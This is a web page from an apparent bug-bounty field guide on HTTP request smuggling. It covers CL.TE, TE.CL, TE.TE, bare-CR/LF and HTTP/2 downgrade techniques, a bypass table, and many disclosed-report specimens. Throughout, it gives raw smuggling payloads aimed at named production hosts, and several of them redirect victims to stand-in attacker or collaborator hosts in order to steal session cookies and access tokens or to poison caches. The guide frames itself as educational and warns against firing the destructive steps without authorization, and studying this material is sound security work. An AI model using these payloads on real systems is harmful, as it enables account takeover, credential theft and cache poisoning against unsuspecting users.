⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/HTTP Request Smuggling
Vulnerabilities

HTTP Request Smuggling

§Basic information

HTTP request smuggling (a.k.a. desync) exploits a disagreement between two HTTP servers on a shared, keep-alive connection about where one request ends and the next begins. A front-end (CDN / load-balancer / reverse proxy) and a back-end origin size the same request differently — one trusts Content-Length (CL), the other trusts Transfer-Encoding: chunked (TE) — so your trailing bytes are left in the socket buffer and prepended to the next victim's request on the reused backend connection.

That primitive is a master key. Once you control the front of a stranger's request you can rewrite their request line to leak their session cookies / auth headers, redirect them off-site, poison a shared cache for every later visitor, or smuggle past front-end ACLs into internal origins. Smuggling lives at hop boundaries, never on a single server: you need two parsers that disagree, so always think in terms of front-end parses X, back-end parses Y.

§Methodology

  1. Find a hop boundary. Confirm there are two parsers on a shared socket: a CDN/LB in front of an origin, a reverse-proxy → app server, or an HTTP/2 → HTTP/1.1 downgrade point. Fingerprint the stack — Node/llhttp, Tomcat, Ruby WEBrick, Akamai, Cloudflare all have known desync CVEs.
  2. Timing probe first (safe, non-destructive). Send a request that a desync makes hang on the read timeout while a normal server answers fast. This tells you CL/TE disagree without poisoning anyone.
  3. Confirm with a differential probe. Send one request that a desynced backend will split, then a normal follow-up; if the follow-up gets a broken/404 response, the socket is poisoned.
  4. Pick the split direction — CL.TE (front=CL, back=TE) or TE.CL (front=TE, back=CL) — and find the obfuscation byte the front-end rejects but the back-end honours.
  5. Aim the smuggled request at a high-value sink — a path that reflects Host/X-Forwarded-Host into a redirect or resource URL, or a request-storage endpoint.
  6. Catch a victim. Fire the desync then a burst of follow-up requests (Turbo Intruder) so a real victim connection lands on the poisoned socket. On your own test infra you are the victim; on production, only with explicit permission.
# Timing probe — TE.CL. The front-end honours chunked and stops at the 0-chunk; # the back-end trusts Content-Length: 6, receives only 5 bytes, and hangs on the # read timeout waiting for the 6th. A stack with no CL/TE disagreement answers fast. POST / HTTP/1.1 Host: TARGET Transfer-Encoding: chunked Content-Length: 6 0 X
▲ WARNING
The victim-catching burst is destructive — it corrupts requests of real users sharing the socket. Run timing/differential probes to prove the desync, but never fire the poisoning burst against production without written authorization. On shared infra a single mistake breaks strangers' logins.

§Technique variants

Every desync is a parser disagreement. Identify which side reads CL vs TE (or which line-ending / pseudo-header they split on), then use the matching body.

CL.TE — front-end CL, back-end chunked

The front-end sizes the request by Content-Length and forwards everything; the back-end honours the (obfuscated) Transfer-Encoding, stops at the 0-length chunk, and treats the remainder as a new request prepended to the next socket user. The winning obfuscation across the corpus is a space before the TE colon — the front-end rejects the malformed header and falls back to CL, the back-end still chunks.

GET / HTTP/1.1 Transfer-Encoding : chunked Host: TARGET Content-Length: 83 0 GET https://COLLAB/ HTTP/1.1 X: X

The escalation that makes CL.TE critical: rewrite the victim's request line into an absolute-URL GET. Hosts that answer GET https://host/ HTTP/1.1 with a 301 to that host turn the desync into universal credential exfiltration — the victim's browser follows the redirect and replays its cookies / X-Access-Token to your collaborator.

TE.CL — front-end chunked, back-end CL

The mirror image: the front-end honours the obfuscated TE, the back-end uses Content-Length. You must match the hex chunk size to the byte length of the smuggled request. Aim it at a path that reflects Host into a redirect or into page resource URLs for mass redirect / stored-XSS.

POST / HTTP/1.1 Transfer-Encoding : chunked Host: TARGET Content-Type: application/x-www-form-urlencoded Content-length: 4 64 POST /sf HTTP/1.1 Host: COLLAB Content-Length: 15 0

TE.TE — duplicate / conflicting Transfer-Encoding

Both servers support TE but disagree on which occurrence wins when it appears twice, or on whether a bogus value counts. Send TE twice — one valid, one poisoned — and the front/back ends pick different ones (first-vs-last). Variants: chunked + chunked-false, chunked + foo, chunked + identity.

POST / HTTP/1.1 Host: TARGET Content-Length: 4 Transfer-Encoding: chunked Transfer-Encoding: identity 1 A 0 GET /admin HTTP/1.1 Foo: bar

Bare-CR / bare-LF line-ending desync

The dominant Node/llhttp bug pattern. One parser requires strict CRLF; the other accepts a lone LF or lone CR as a delimiter. Embed the wrong line-ending inside a benign header value to manufacture a hidden Transfer-Encoding header visible to only one side.

# Bare LF (0x0A, no CR) embedded in a header value. Send \n below as ONE raw LF byte: # the CRLF-strict front-end keeps it all as Fooz's value; the LF-lenient back-end # splits at the LF and parses a real Transfer-Encoding header, so only it chunks. POST /path HTTP/1.1 Host: TARGET Content-Length: 77 Fooz: bar\nTransfer-Encoding: chunked 0 GET http://COLLAB/ HTTP/1.1 X: X
# Bare CR (0x0D, no LF) treated as a header terminator on lenient llhttp — send as the value: X-Abc:\rxTransfer-Encoding: chunked

HTTP/2 → HTTP/1.1 downgrade injection

Downgrade hops are goldmines: a front-end that speaks HTTP/2 but re-serializes to HTTP/1.1 for the origin will faithfully copy control characters from the pseudo-headers into the HTTP/1.1 request line. Inject a space (or CR/LF) into :method, :path, or :authority to smuggle a whole extra request line.

:method: GET /anything HTTP/1.1 :path: / :authority: TARGET # re-serialized to the backend as: # GET /anything HTTP/1.1 / HTTP/1.1 # Host: TARGET

CDN rule-engine header injection → smuggling

Edge features that build header values (Cloudflare Transform Rules concat()/lower(), host_header actions) are a CRLF-injection surface that manufactures a TE header at the edge. If the string function accepts hex/unicode escapes or raw CRLF, you inject Transfer-Encoding into the request the CDN forwards, then smuggle past edge auth (e.g. Cloudflare Access) into internal origins.

# Cloudflare Transform-Rule value that injects a newline + TE header before the # origin sees it. \x0d\x0a is sent literally in the rule string (a raw CRLF): concat("-", "\x0d\x0aTransfer-Encoding: chunked")

Response smuggling / queue poisoning

Smuggling is not only request-side. If a client library's response parser is laxer than the fronting proxy — accepts a bare CR in the status line, non-CRLF-terminated headers — a malicious or compromised upstream can desync the response queue, serving one client another's response.

HTTP/1.1 200 OK\rContent-Length: 4\r\n\r\nEvil

§Bypasses

Each parser-split obfuscation, tagged with the report it was seen in. Try each byte between Transfer-Encoding and chunked, and each line-ending variant.

Filter / controlBypassSeen in
Front-end rejects malformed TESpace before the colon: Transfer-Encoding : chunked (front falls back to CL, back chunks)#737140
CDN TE normalization (Akamai)Tab after the colon: Transfer-Encoding:\tchunked#771666
CDN TE normalizationTabs around the colon: Transfer-Encoding\t:\tchunked#1063627
Front reflects Host into cached resourcesSpace-before-colon TE + Host-reflecting path (WordPress/Yoast)#726773
Duplicate-TE dedupe (first-vs-last)Valid + invalid TE: chunked then foo / identity#867577
Strict CRLF header parsingBare LF hides a TE header inside a benign one#526880
Strict CRLF header parsing (llhttp)Bare CR (no LF) treated as a header delimiter#2032842
TE value equality checkList value chunked, eee still parsed as chunked#735748
Edge auth (Cloudflare Access)Hex-escaped CRLF in concat() injects a TE header at the edge#1478633
Proxy ACL keyed on request lineHTTP/2 :method with spaces injects an HTTP/1.1 request line on downgrade#1391549
Reverse-proxy path ACL (/flag)Duplicate TE (chunked + chunked-false) desyncs HAProxy → Node#1002188

§Escalation & impact

One desync, several escalations — pick the one your sink supports:

§Prevention

▸ TIP
Fingerprint the stack before fuzzing. A large share of real desyncs are just a known CVE in Node/llhttp, Tomcat, or a CDN — match the server version to the published parser bug and you already know which obfuscation byte to send.

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 33 in this class.

Real-world example

CL.TE socket poisoning -> forced open-redirect -> mass cookie theft

◆ Critical
Specimen #737140 · slack · awarded · 867 votes · resolved
Program slackSurface webChain CL.TE desync -> request-line rewrite -> backend 301 opTag account-takeover

Root cause

Frontend sizes the request by Content-Length while the backend honours an obfuscated Transfer-Encoding (space before the colon: 'Transfer-Encoding : chunked'), leaving leftover bytes to prepend to the next victim request on the shared backend socket.

Method

  1. Run smuggler/desync probes; 'space1' (space before TE colon) test flags a CL.TE
  2. Craft a smuggled request whose trailing line rewrites the victim's request to GET <collab-URL>
  3. Backend returns 301 to that URL and the victim's browser follows it, replaying its Slack cookies (the 'd' session cookie) to attacker collaborator
  4. Collect cookies at scale -> full account takeover
GET / HTTP/1.1 Transfer-Encoding : chunked Host: slackb.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET <COLLAB_URL> HTTP/1.1 X: X

Insight — When a domain answers 'GET https://host/ HTTP/1.1' with a 301 to that host, a desync that rewrites the victim's request line into an absolute-URL GET turns request smuggling into universal credential exfiltration (cookies ride along on the redirect).

Real-world example

CL.TE tab-obfuscated TE -> bulk X-Access-Token theft

◆ Critical
Specimen #771666 · eternal · awarded · 559 votes · resolved
Program eternalSurface apiChain CL.TE desync -> smuggled absolute-URL GET -> backend 3Tag account-takeover

Root cause

A tab after the Transfer-Encoding colon ('Transfer-Encoding:\tchunked') is rejected by the Akamai frontend (falls back to Content-Length) but honoured as chunked by the backend, poisoning the backend socket.

Method

  1. Fuzz TE mutations; 'tabprefix1' (tab after colon) flags CL.TE
  2. Set CL to cover a smuggled absolute-URL GET line with no trailing CRLF so it merges onto the victim's request
  3. Backend 301-redirects the victim (with its X-Access-Token header) to the attacker collaborator
  4. Use stolen X-Access-Token + UserID to read PII or fully impersonate the mobile-app session
DELETE / HTTP/1.1 Transfer-Encoding: chunked Host: api.zomato.com Content-Length: 91 User-Agent: Treasure/6.7 0 GET https://<COLLAB_URL>/desync/ HTTP/1.1 X: X

Insight — Absolute-URL in the smuggled request line that the frontend would 404 gets 301'd by the backend; API auth headers (X-Access-Token) travel with the redirect. Tab is a strong TE-obfuscation byte against CDN frontends (Akamai).

Real-world example

CDN rule-engine header injection via concat() hex escapes -> TE.CL smuggling (Cloudflare)

◆ Critical
Specimen #1478633 · cloudflare · 6000 · 115 votes · resolved
Program cloudflareSurface webChain rule-engine CRLF injection -> TE header injection -> TTag cache

Root cause

Cloudflare Transform Rules' Edge string functions (concat/lower) accepted hexadecimal escapes like backslash-x0d backslash-x0a with no output sanitization, letting an attacker inject CRLF and a Transfer-Encoding header into the request Cloudflare forwards to the origin.

Method

  1. Create a dynamic header-rewrite Transform Rule with value concat('-', hexCRLF + 'Transfer-Encoding: chunked')
  2. Cloudflare emits the injected newline + TE header to the origin
  3. Send a POST body '0 CRLF CRLF GET / HTTP/1.1 CRLF Host: internal...' to smuggle to internal origins and bypass Cloudflare Access
concat("-", "\x0d\x0aTransfer-Encoding: chunked") (body) 0 GET / HTTP/1.1 Host: internal.example.com

Insight — CDN/edge configuration features that build header values (concat, string funcs, host_header actions) are a header-injection surface: if they accept hex/unicode escapes or raw CRLF you can inject Transfer-Encoding and smuggle past edge auth (CF Access). Origins must validate the CF Access JWT, not trust the edge.

Real-world example

TE list value 'chunked, eee' still parsed as chunked (Node CVE-2019-15605)

◆ Critical
Specimen #735748 · nodejs · awarded · 104 votes · resolved
Program nodejsSurface otherTag cache

Root cause

Node's http_parser accepted a Transfer-Encoding value containing 'chunked' plus extra tokens (e.g. 'chunked, eee') and processed the body as chunked, while a stricter proxy would reject/ignore it -> TE/CL desync.

Method

  1. Send POST with both Content-Length and 'Transfer-Encoding: chunked, eee'
  2. Node treats it as chunked and reads the smuggled second request as a new request
  3. Server writes two responses on the wire -> desync behind any LB that disagrees
POST / HTTP/1.1 Host: hacker.exploit.com Content-Length: 10 Transfer-Encoding: chunked, eee HELLOWORLDPOST / HTTP/1.1 Content-Length: 30 I AM A SMUGGLED REQUEST!!!

Insight — Don't just test 'Transfer-Encoding: chunked' -- append junk tokens/commas ('chunked, eee', 'chunked, identity'). Lenient parsers substring-match 'chunked' and desync against strict upstreams. Patch added F_TRANSFERENCODING/F_CONTENTLENGTH state tracking.

Real-world example

TE.TE (chunked/identity) -> persistent cache poisoning via X-Forwarded-Host

◆ Critical
Specimen #919175 · basecamp · awarded · 28 votes · resolved
Program basecampSurface webChain TE.TE desync -> X-Forwarded-Host redirect cached -> peTag cache

Root cause

Basecamp TE.TE desync using 'Transfer-Encoding: chunked' + 'Transfer-encoding: identity'; the caching front-end stores the smuggled off-site redirect, making the poisoning persistent for every later visitor.

Method

  1. Smuggle a request whose X-Forwarded-Host is attacker-controlled and whose response is a redirect
  2. Front-end caches that redirect against the target URL
  3. All subsequent users requesting the URL receive the poisoned redirect (persistent)
POST /4618984/account HTTP/1.1 Host: basecamp.com Content-Length: 144 Transfer-Encoding: chunked Transfer-encoding: identity 22 _method=patch&account%5Bname%5D=BC 0 GET /x HTTP/1.1 X-Forwarded-Host: attacker.pipedream.net X-Forwarded-Proto: http Foo: bar

Insight — If a caching layer sits in front of the desync, cache the smuggled redirect to turn a per-connection race into a persistent mass-exploitation primitive. 'chunked' vs 'identity' is another TE.TE split worth testing.

Real-world example

TE.TE (valid + invalid TE) -> victim cookie/header capture + redirect (Basecamp)

◆ Critical
Specimen #867577 · basecamp · awarded · 25 votes · resolved
Program basecampSurface webChain TE.TE desync -> (a) X-Forwarded-Host redirect, (b) capturTag account-takeoverTag cache

Root cause

A Content-Length request carrying a valid Transfer-Encoding then an invalid one ('Transfer-Encoding: foo'): the frontend inspects only the second (invalid) TE and uses CL, while the backend honours the valid TE -> desync on a Rails app.

Method

  1. Smuggle a request that redirects victims via X-Forwarded-Host (off-site redirect)
  2. Alternatively smuggle a storage POST (/identity) that saves the victim's incoming request and reflects it back to the attacker
  3. Read captured session cookies (_launchpad_session, identity_id) from the stored request
POST /identity HTTP/1.1 Host: launchpad.37signals.com Content-Length: 69 Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Transfer-Encoding: foo 3 x=1 0 GET / HTTP/1.1 X-Forwarded-Host: attacker.com Foo: bar

Insight — Two escalations from one desync: (1) X-Forwarded-Host in the smuggled request redirects victims off-site; (2) smuggle a 'storage' write that captures and reflects the NEXT victim's full request, exfiltrating their cookies/auth headers. First-vs-second TE selection is the parser split.

Real-world example

Catalogue of HTTP smuggling parser primitives across many servers (regilero)

◆ Critical
Specimen #648434 · ibb · none · 20 votes · resolved
Program ibbSurface otherChain parser differential -> response duplication -> cache pTag cache

Root cause

Multi-year research: smuggling arises from interactions between different HTTP parsers (Apache, Nginx, Varnish, Jetty, Tomcat, Node, Pound, HAProxy, ATS, Proxygen), exploiting size-attribute overflows, doubled headers, bad end-of-lines and whitespace defects.

Method

  1. Enumerate front/back parser pairs in the chain
  2. Probe each with the primitive families below and diff interpretations
  3. Confirm with a two-request A -> A+A' response duplication
# Primitive families to test: # - space/tab before the ':' colon (CVE-2016-8743, CVE-2018-8004) # - double Content-Length / CL+TE mixing (CVE-2017-7658) # - Transfer-Encoding smuggling (CVE-2017-7657) # - HTTP/0.9 downgrade (CVE-2017-7656, CVE-2016-6816) # - bare CR / 'CR followed by anything' (CVE-2016-2086) # - chunk-size integer truncation/overflow (Nginx 2015) # - NULL char in header concatenation (Pound CVE-2016-10711)

Insight — A reusable checklist of parser-differential primitives with the CVEs that proved each. Tooling: HTTPWookiee (github.com/regilero/HTTPWookiee), Defcon 24 'Hiding Wookiees in HTTP'. When two agents disagree on message length or line endings, request A becomes A+A' to the backend.

Real-world example

CL.TE confirmed via auth-response differential

◆ High
Specimen #867952 · helium · awarded · 299 votes · resolved
Program heliumSurface webTag account-takeover

Root cause

Frontend uses Content-Length, backend uses Transfer-Encoding: chunked; a POST to /api/sessions with both headers desyncs and the smuggled trailing GET changes the observed response.

Method

  1. Send POST /api/sessions with Content-Length and Transfer-Encoding: chunked and a chunked body terminated by 00
  2. Append a smuggled 'GET / HTTP/1.1 / Host: www.helium.com'
  3. Observe /api/sessions return 200 OK instead of the expected 401 -> confirms desync
POST /api/sessions HTTP/1.1 Host: console.helium.com Content-Type: application/json Content-Length: 109 Transfer-Encoding: chunked 39 {"session":{"email":"a@b.c","password":"x"}} 00 GET / HTTP/1.1 Host: www.helium.com foo: x

Insight — A cheap, low-risk desync confirmation: pick an endpoint with a deterministic status code (401 login) and watch it flip when your smuggled request consumes/alters the follow-up. Proves the bug without poisoning real users.

Real-world example

Desync -> cached redirect -> persistent XSS on login page (PayPal)

◆ High
Specimen #488147 · paypal · 18900 · 683 votes · resolved
Program paypalSurface webChain desync -> cached redirect -> stored XSS on sign-in pagTag cache

Root cause

A front-end caching layer plus a request-smuggling desync let an attacker convert a normal page request into a cached redirect; the poisoned cache entry then serves attacker content in place of the real page (including /signin).

Method

  1. Find a desync on the cached front-end
  2. Smuggle a request that produces a redirect/attacker response
  3. Get that response cached against a legitimate URL
  4. Subsequent users of that URL receive attacker content (stored-XSS-like)

Insight — Request smuggling + a caching front-end = persistence: a single desync-poisoned cache entry affects every later visitor to that URL, upgrading a transient socket-poisoning bug into a stored XSS on high-value pages like /signin.

Real-world example

TE.CL desync -> smuggled Host reflected in cached page resources

◆ High
Specimen #726773 · gsa_bbp · 750 · 160 votes · resolved
Program gsa_bbpSurface webChain TE.CL desync -> Host reflected in page resource URLs ->Tag cache

Root cause

Frontend uses Transfer-Encoding (with obfuscation), backend uses Content-Length; the smuggled request's Host is reflected across the WordPress page's script/link src attributes, injecting an attacker-controlled host into victim responses.

Method

  1. Use turbo intruder to send one desync request then ~14 rapid follow-ups to catch a victim
  2. Smuggle a POST whose Host is the attacker domain
  3. Victim receives a page whose <script>/<link> src point at attacker host -> serve malicious JS/deface
POST / HTTP/1.1 Host: labs.data.gov Content-type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding : chunked a2 POST /hopefully404 HTTP/1.1 Host: <COLLAB> Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0

Insight — When an app echoes the request Host into absolute resource URLs (common in WordPress/Yoast), a desync that controls Host becomes stored/reflected XSS and JS-supply-chain hijack for whoever's request is poisoned.

Real-world example

Bare CR in header name converted to hyphen (Node CVE-2020-8201)

◆ High
Specimen #922597 · nodejs · awarded · 134 votes · resolved
Program nodejsSurface otherTag cache

Root cause

Node converts a CR inside a header name to a hyphen before parsing, so 'Content[CR]Length' becomes a valid 'Content-Length' to Node while an upstream proxy ignores the malformed header (0-length body) -> parser differential.

Method

  1. Send a request where the proxy sees 'Content[CR]Length' as invalid (assumes no body)
  2. Node rewrites CR->hyphen and honours the Content-Length, consuming N bytes as body
  3. The bytes the proxy forwarded as a new request are swallowed, desyncing the stream
GET / HTTP/1.1 Host: www.example.com Content[CR]Length: 42 Connection: Keep-Alive GET /proxy_sees_this HTTP/1.1 Something: GET /node_sees_this HTTP/1.1 Host: www.example.com

Insight — Non-standard byte normalization (CR->hyphen, tab handling) inside a header NAME is a rich smuggling source: test control/whitespace bytes embedded in Content-Length / Transfer-Encoding header names, not just their values.

Real-world example

Oversized trailer header -> IOException splits request (Tomcat CVE-2023-46589)

◆ High
Specimen #2280391 · ibb · 4660 · 93 votes · resolved
Program ibbSurface otherTag cache

Root cause

Tomcat mis-handled chunked trailer headers: a trailer exceeding the size limit threw an IOException that caused Tomcat to treat one request as two, enabling smuggling behind a reverse proxy.

Method

  1. Send a chunked POST with a trailer header whose name/value exceeds the ~8KB header size limit
  2. Follow the oversized trailer with a smuggled request line
  3. Tomcat logs two requests for one connection (POST + smuggled GET)
POST /examples/test.jsp HTTP/1.1 Host: www.example.co.jp Transfer-Encoding: chunked 5 foo=b 2 ar 0 testtrailer: aaaa...(>8190 bytes) a: GET /examples/?this_is_attack HTTP/1.1 Host: attack

Insight — Chunked TRAILER sections are an under-tested smuggling surface. Probe trailers with oversized values and malformed lines; servers that error mid-trailer often leave the connection desynced. Reproducer: github.com/oss-aimoto/tomcat-trailer.

Real-world example

Client-side desync: incomplete POST leaks prior request (Tomcat CVE-2024-21733)

◆ High
Specimen #2327341 · ibb · 4660 · 57 votes · resolved
Program ibbSurface otherChain client-side desync -> victim browser -> cross-user reqTag account-takeover

Root cause

Tomcat mis-processed the Content-Length of POST requests; an incomplete POST (fewer body bytes than declared) triggered an error response that echoed data left over from a previous user's request on the connection.

Method

  1. Send a POST declaring Content-Length larger than the body actually sent (e.g. CL:6, body 'X')
  2. Tomcat waits, times out/errors, and returns an error page containing bytes from a previous request
  3. Deliver via a victim browser (CSD) to smuggle/leak cross-connection data such as cleartext creds
POST / HTTP/1.1 Host: hostname Content-Length: 6 Content-Type: application/x-www-form-urlencoded X

Insight — Client-side desync (CSD) needs only a browser-issuable request: an under-filled Content-Length POST that the origin later flushes with leftover bytes. Look for error responses that contain data you never sent -> a neighbouring request leaking.

Real-world example

Trailer line without colon skips lines (Tomcat CVE-2023-45648)

◆ High
Specimen #2299692 · ibb · 4660 · 51 votes · resolved
Program ibbSurface otherTag cache

Root cause

Tomcat could not parse a trailer section when a trailer line had no colon; it skipped subsequent lines until the next valid colon-separated header, so lines other implementations (NGINX) treat as a second request become part of the trailer -> parser disagreement.

Method

  1. Send chunked POST ending with 0 CRLF then a colon-less trailer line ('Content: hello' then 'a')
  2. Follow with a second full request using Content-Length
  3. Tomcat merges the middle lines into the trailer and treats the CL body as a new request; access log shows benign_path + evil_path
POST /benign_path HTTP/1.1 Host: a.com Transfer-Encoding: chunked 5 12345 0 Content: hello a POST /benign_path HTTP/1.1 Host: a.com Content-Length: 37 GET /evil_path HTTP/1.1 Any: any Host: b.com

Insight — Where a front proxy and Tomcat disagree on where the trailer section ends, you get smuggling. Test colon-less and malformed trailer lines to shift the request boundary between proxy and origin.

Real-world example

Bare-LF header injection desync (LF vs CRLF)

◆ High
Specimen #526880 · deptofdefense · none · 25 votes · resolved
Program deptofdefenseSurface webChain bare-LF header injection -> TE desync -> victim redireTag cache

Root cause

One server treats a bare LF as a header terminator while the other requires CRLF; embedding an LF plus 'Transfer-Encoding: chunked' inside another header value creates a hidden TE header on only one side -> desync and backend socket poisoning.

Method

  1. Put a bare LF inside a benign header value to smuggle a TE header ('Fooz: bar'+LF+'Transfer-Encoding: chunked')
  2. Frontend sees one folded header, backend sees a real Transfer-Encoding
  3. Fire the desync then a burst of victim GETs; one victim is 302-redirected to attacker
POST /path HTTP/1.1 Fooz: bar Transfer-Encoding: chunked Host: stage.target Content-Type: application/x-www-form-urlencoded Content-Length: 77 Foo: bar 0 GET http://attacker/ HTTP/1.1 X: X

Insight — Bare LF (0x0A) without CR is a powerful line-ending disagreement primitive: use it to hide a Transfer-Encoding/Content-Length header inside another header so only the backend parses it. Note: different IPs behind one hostname may not all be vulnerable.

Real-world example

CL.TE smuggling via space-before-colon Transfer-Encoding and obfuscated CL

◆ High
Specimen #777651 · stripo · none · 15 votes · resolved
Program stripoSurface webChain socket desync -> cache poisoning / front-end control bypaTag cache

Root cause

Front-end and back-end disagree on request length because one honors an obfuscated 'Transfer-Encoding : chunked' (space before colon) / mangled Content-Length header while the other does not, letting an attacker prepend data to the next victim request.

Method

  1. Use Burp HTTP Request Smuggler / Turbo Intruder against the target
  2. Send a request with an obfuscated Transfer-Encoding header (space before the colon) plus a malformed Content-Length
  3. Confirm desync via timing/differential response (here a 301 to attacker Location)
  4. Prepend arbitrary data to the following request on the poisoned socket
POST /?aeRg=2056729135 HTTP/1.1 Host: my.TARGET Content-Type: application/x-www-form-urlencoded Transfer-Encoding : chunked Content-Len%s keep-alive f ubvhq=x&e3t5b=x 0

Insight — When standard CL.TE/TE.CL fails, try header obfuscation: space before colon (TE :), tab, doubled TE headers, or line-folding. If one hop's parser is lenient and the other strict, you get a desync. Confirm blind by poisoning your own follow-up request.

Real-world example

Pause-based desync in Apache HTTPD (CVE-2022-22720)

◆ High
Specimen #1667974 · ibb · 4000 · 73 votes · resolved
Program ibbSurface otherChain pause-based desync -> server-side smuggling / MITM JS injTag mitm

Root cause

Apache <=2.4.52 failed to close the inbound connection when it hit an error while discarding a request body, leaving the connection reusable in a desynced state ('pause-based desync').

Method

  1. Trigger an Apache error path that discards the request body (e.g. stall/pause mid-body)
  2. Apache errors but does NOT close the connection
  3. The connection is left poisoned for the next request -> server-side smuggling (and MITM JS injection despite TLS)

Insight — Beyond CL/TE tricks, connection-lifecycle bugs create desync: any code path that errors on the body but keeps the socket open is exploitable. 'Pause-based' (browser-powered) desync can even let a network MITM inject JS despite TLS. Detail: PortSwigger browser-powered desync research + lab.

Real-world example

Space-prefixed TE against S3 origin leaks AWS key + HMAC canonical request

◆ Medium
Specimen #753939 · magic-bbp · awarded · 74 votes · resolved
Program magic-bbpSurface webChain space-TE desync -> S3 signature error -> AWS key/HMAC Tag cloud-aws

Root cause

A leading-space Transfer-Encoding (' Transfer-Encoding: chunked') desyncs the CloudFront/S3 fronting, and the S3 backend returns a SignatureDoesNotMatch error that echoes the AWSAccessKeyId, StringToSign and CanonicalRequest bytes; repeating it caches the error page (DoS).

Method

  1. Send a request with a leading space before the Transfer-Encoding header
  2. Observe the S3 XML error leaking AWSAccessKeyId and the full canonical/HMAC signing material
  3. Use turbo intruder to make the error page get served to normal visitors (cache/desync DoS)
GET /login HTTP/1.1 Host: dashboard.fortmatic.com Content-Type: application/x-www-form-urlencoded Content-Length: 5 Transfer-Encoding: chunked 0

Insight — When a desync target is fronted by S3/CloudFront, malformed requests surface S3 SignatureDoesNotMatch errors that dump the AWS access key id and canonical signing bytes into the response body -> recon + info disclosure on top of the desync/DoS.

Real-world example

Response parser accepts bare CR in status line -> response-queue poisoning (Node llhttp)

◆ Medium
Specimen #3648681 · nodejs · none · 26 votes · resolved
Program nodejsSurface otherChain response bare-CR acceptance -> HTTP response queue poisonTag cache

Root cause

Node/llhttp's RESPONSE parser accepts a bare CR (CR CR) as a valid status-line terminator (skipping the required LF) while the REQUEST parser rejects it, creating a request/response parsing asymmetry that enables response smuggling/queue poisoning.

Method

  1. Stand up a malicious/backend server that emits 'HTTP/1.1 200 OK'+CR+CR+'Content-Length: 4'+CRLF+CRLF+'Evil'
  2. A strict RFC proxy in front rejects the bare CR; the Node http client silently accepts it
  3. The differential lets a rogue backend desync the response queue for downstream clients
HTTP/1.1 200 OK Content-Length: 4 Evil

Insight — Smuggling is not only request-side: look for RESPONSE parser leniency (bare CR/LF, non-CRLF status-line/header termination). A client library laxer than the fronting proxy enables response-queue poisoning from a malicious/compromised upstream.

Real-world example

HTTP/2 request-line injection via spaces in :method pseudo-header

◆ Medium
Specimen #1391549 · ibb · 1200 · 22 votes · resolved
Program ibbSurface webChain Smuggling -> front-end rule bypass / subfolder escape / cTag cors

Root cause

Apache mod_proxy with HTTP/2 fails to reject spaces in the :method pseudo-header; on downgrade to HTTP/1.1 the method is concatenated verbatim into the request line, injecting a full extra request line to the backend (CVE-2021-33193).

Method

  1. Send an HTTP/2 request whose :method contains 'GET /anything HTTP/1.1'
  2. mod_proxy downgrades and forwards a malformed HTTP/1.1 request line
  3. If the backend tolerates trailing junk, escape path routing, bypass front-end rules, poison caches, or downgrade to HTTP/0.9/1.0
:method: GET /anything HTTP/1.1 :path: / :authority: TARGET # forwarded to backend: GET /anything HTTP/1.1 / HTTP/1.1 Host:: TARGET

Insight — HTTP/2->HTTP/1.1 downgrade points are smuggling goldmines: inject CR/LF/space/control chars into :method, :path, :authority and header names/values and observe the rewritten HTTP/1.1 request. Front-end rules keyed on the original path are bypassed once you inject a second request line.

Real-world example

Space before the header colon 'Content-Length :' (Node CVE-2021-22959)

◆ Medium
Specimen #1238709 · nodejs · 250 · 18 votes · resolved
Program nodejsSurface otherTag cache

Root cause

Node's llhttp accepted a space between the header name and the colon ('Content-Length : 5'), which RFC 7230 forbids; a proxy that ignores that malformed CL but forwards it as-is disagrees with Node -> smuggling.

Method

  1. Send 'Content-Length : 23' (space before colon) with a smuggled second request in the body
  2. Node reads the CL and consumes the body; a lenient proxy that ignored the CL sees a different boundary
  3. Boundary disagreement smuggles the third request
GET / HTTP/1.1 Host: localhost:5000 Content-Length : 23 GET / HTTP/1.1 Dummy: GET /smuggled HTTP/1.1 Host: localhost:5000

Insight — RFC 7230 3.2.4 forbids whitespace before the colon precisely because parsers disagree. Always test 'Header :value' (space before colon) on Content-Length and Transfer-Encoding. One-liner: echo -en 'Content-Length : 5\r\n...' | nc.

Real-world example

Leading space before header name ' Content-length:' (Node CVE-2024-27982)

◆ Medium
Specimen #2237099 · nodejs · none · 18 votes · resolved
Program nodejsSurface otherTag cache

Root cause

Node mis-parsed a header whose NAME is preceded by a space (' Content-length: 43'), treating the following bytes as body and allowing a second request to be smuggled inside the first.

Method

  1. Send a request with a leading space before the Content-length header line
  2. Node mis-reads the CL and swallows the smuggled request as body
  3. Use turbo intruder with a reflected id header (x-name) to prove /hello responses returning /bye content across connections
POST /hello HTTP/1.1 Host: 127.0.0.1 Upgrade-Insecure-Requests: 1 Content-length: 43 Te: trailers GET /bye HTTP/1.1 x-name: Bob X-YzBqv:

Insight — Distinct from space-before-colon: here the whole header line is indented by a leading space (looks like an obfs-fold continuation). Test both ' Content-Length:' (leading space) and 'Content-Length :' (space before colon).

Real-world example

Bare CR (not CRLF) delimits header fields in Node llhttp

◆ Medium
Specimen #2032842 · ibb · 1800 · 15 votes · resolved
Program ibbSurface otherChain bare-CR header split -> hidden Transfer-Encoding -> acTag cache

Root cause

Node's llhttp did not strictly require CRLF between header fields: a lone CR is enough to terminate a header, so 'X-Abc:'+CR+'xTransfer-Encoding: chunked' is parsed by Node as a separate Transfer-Encoding header while a strict proxy keeps it inside X-Abc's value.

Method

  1. Send a header value containing a bare CR followed by a smuggled header ('X-Abc:'+CR+'xTransfer-Encoding: chunked')
  2. Node splits on the CR and registers Transfer-Encoding: chunked
  3. A front proxy that requires CRLF sees only X-Abc -> parser differential smuggling
POST / HTTP/1.1 Host: localhost:5000 X-Abc: xTransfer-Encoding: chunked 1 A 0

Insight — Bare CR (0x0D) inside a header value can create a hidden header on lenient parsers. Cluster of Node CVEs: CVE-2023-30589 (this), CVE-2022-35256 (#1888760, non-CRLF terminated fields), CVE-2022-32214 (#1630669, improper delimiting), CVE-2025-23167 (#2054283, CRLF+bareCR block termination) all exploit the same CRLF-strictness gap.

Real-world example

Bare-LF header delimiter (Node llhttp CL smuggling)

◆ Medium
